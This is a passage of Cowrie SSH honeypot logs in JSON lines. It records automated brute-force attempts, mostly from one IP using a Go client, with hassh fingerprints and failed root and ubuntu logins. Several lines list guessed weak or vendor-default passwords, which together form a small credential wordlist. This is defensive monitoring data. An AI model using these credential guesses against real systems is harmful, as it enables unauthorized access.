istp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:41.842645Z","src_ip":"60.165.124.241","session":"32f3a822843e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qiangbi123","message":"login attempt [root/Qiangbi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:42.638244Z","src_ip":"60.165.124.241","session":"32f3a822843e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:43.904129Z","src_ip":"60.165.124.241","session":"32f3a822843e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42730,"dst_ip":"10.17.0.5","dst_port":22,"session":"9877eeb4d45a","protocol":"ssh","message":"New connection: 60.165.124.241:42730 (10.17.0.5:22) [session: 9877eeb4d45a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:44.142391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:44.147477Z","src_ip":"60.165.124.241","session":"9877eeb4d45a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:44.413728Z","src_ip":"60.165.124.241","session":"9877eeb4d45a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@1234","message":"login attempt [root/Huawei@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:45.818864Z","src_ip":"60.165.124.241","session":"9877eeb4d45a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:47.075773Z","src_ip":"60.165.124.241","session":"9877eeb4d45a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46650,"dst_ip":"10.17.0.5","dst_port":22,"session":"37e8d5a0023b","protocol":"ssh","message":"New connection: 60.165.124.241:46650 (10.17.0.5:22) [session: 37e8d5a0023b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:47.320140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:47.324126Z","src_ip":"60.165.124.241","session":"37e8d5a0023b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:47.577232Z","src_ip":"60.165.124.241","session":"37e8d5a0023b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":40088,"dst_ip":"159.203.135.109","dst_port":22,"session":"f463fcc3a715","protocol":"ssh","message":"New connection: 2.57.122.208:40088 (159.203.135.109:22) [session: f463fcc3a715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:49.428416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:49.439207Z","src_ip":"2.57.122.208","session":"f463fcc3a715","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ikuai8.com","message":"login attempt [root/ikuai8.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:49.623879Z","src_ip":"60.165.124.241","session":"37e8d5a0023b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:49.628636Z","src_ip":"2.57.122.208","session":"f463fcc3a715","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:50.732835Z","src_ip":"2.57.122.208","session":"f463fcc3a715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:50.876236Z","src_ip":"60.165.124.241","session":"37e8d5a0023b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51554,"dst_ip":"10.17.0.5","dst_port":22,"session":"95e66e0bbfca","protocol":"ssh","message":"New connection: 60.165.124.241:51554 (10.17.0.5:22) [session: 95e66e0bbfca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:51.127959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:51.133606Z","src_ip":"60.165.124.241","session":"95e66e0bbfca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:51.387122Z","src_ip":"60.165.124.241","session":"95e66e0bbfca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:52.035061Z","src_ip":"2.57.122.208","session":"f463fcc3a715","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"SanDiego","message":"login attempt [root/SanDiego] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:52.852581Z","src_ip":"60.165.124.241","session":"95e66e0bbfca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:54.107265Z","src_ip":"60.165.124.241","session":"95e66e0bbfca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55486,"dst_ip":"10.17.0.5","dst_port":22,"session":"6aab10a35692","protocol":"ssh","message":"New connection: 60.165.124.241:55486 (10.17.0.5:22) [session: 6aab10a35692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:54.377318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:54.382408Z","src_ip":"60.165.124.241","session":"6aab10a35692","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:54.649251Z","src_ip":"60.165.124.241","session":"6aab10a35692","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"start123","message":"login attempt [root/start123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:55.447834Z","src_ip":"60.165.124.241","session":"6aab10a35692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:56.699735Z","src_ip":"60.165.124.241","session":"6aab10a35692","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59112,"dst_ip":"10.17.0.5","dst_port":22,"session":"183a5bff1624","protocol":"ssh","message":"New connection: 60.165.124.241:59112 (10.17.0.5:22) [session: 183a5bff1624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:56.924403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:56.930148Z","src_ip":"60.165.124.241","session":"183a5bff1624","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:57.170616Z","src_ip":"60.165.124.241","session":"183a5bff1624","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kevin","message":"login attempt [root/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:57.897233Z","src_ip":"60.165.124.241","session":"183a5bff1624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:59.140655Z","src_ip":"60.165.124.241","session":"183a5bff1624","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33646,"dst_ip":"10.17.0.5","dst_port":22,"session":"102361d9f8cc","protocol":"ssh","message":"New connection: 60.165.124.241:33646 (10.17.0.5:22) [session: 102361d9f8cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:59.371385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:59.376993Z","src_ip":"60.165.124.241","session":"102361d9f8cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:59.617581Z","src_ip":"60.165.124.241","session":"102361d9f8cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hakuna","message":"login attempt [root/hakuna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:00.338437Z","src_ip":"60.165.124.241","session":"102361d9f8cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:01.580206Z","src_ip":"60.165.124.241","session":"102361d9f8cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36832,"dst_ip":"10.17.0.5","dst_port":22,"session":"b78f7cea81cb","protocol":"ssh","message":"New connection: 60.165.124.241:36832 (10.17.0.5:22) [session: b78f7cea81cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:01.836484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:01.842004Z","src_ip":"60.165.124.241","session":"b78f7cea81cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:02.093703Z","src_ip":"60.165.124.241","session":"b78f7cea81cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123#$","message":"login attempt [root/Abc123#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:02.873500Z","src_ip":"60.165.124.241","session":"b78f7cea81cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:04.125011Z","src_ip":"60.165.124.241","session":"b78f7cea81cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40146,"dst_ip":"10.17.0.5","dst_port":22,"session":"85b975f58d94","protocol":"ssh","message":"New connection: 60.165.124.241:40146 (10.17.0.5:22) [session: 85b975f58d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:04.349895Z"}
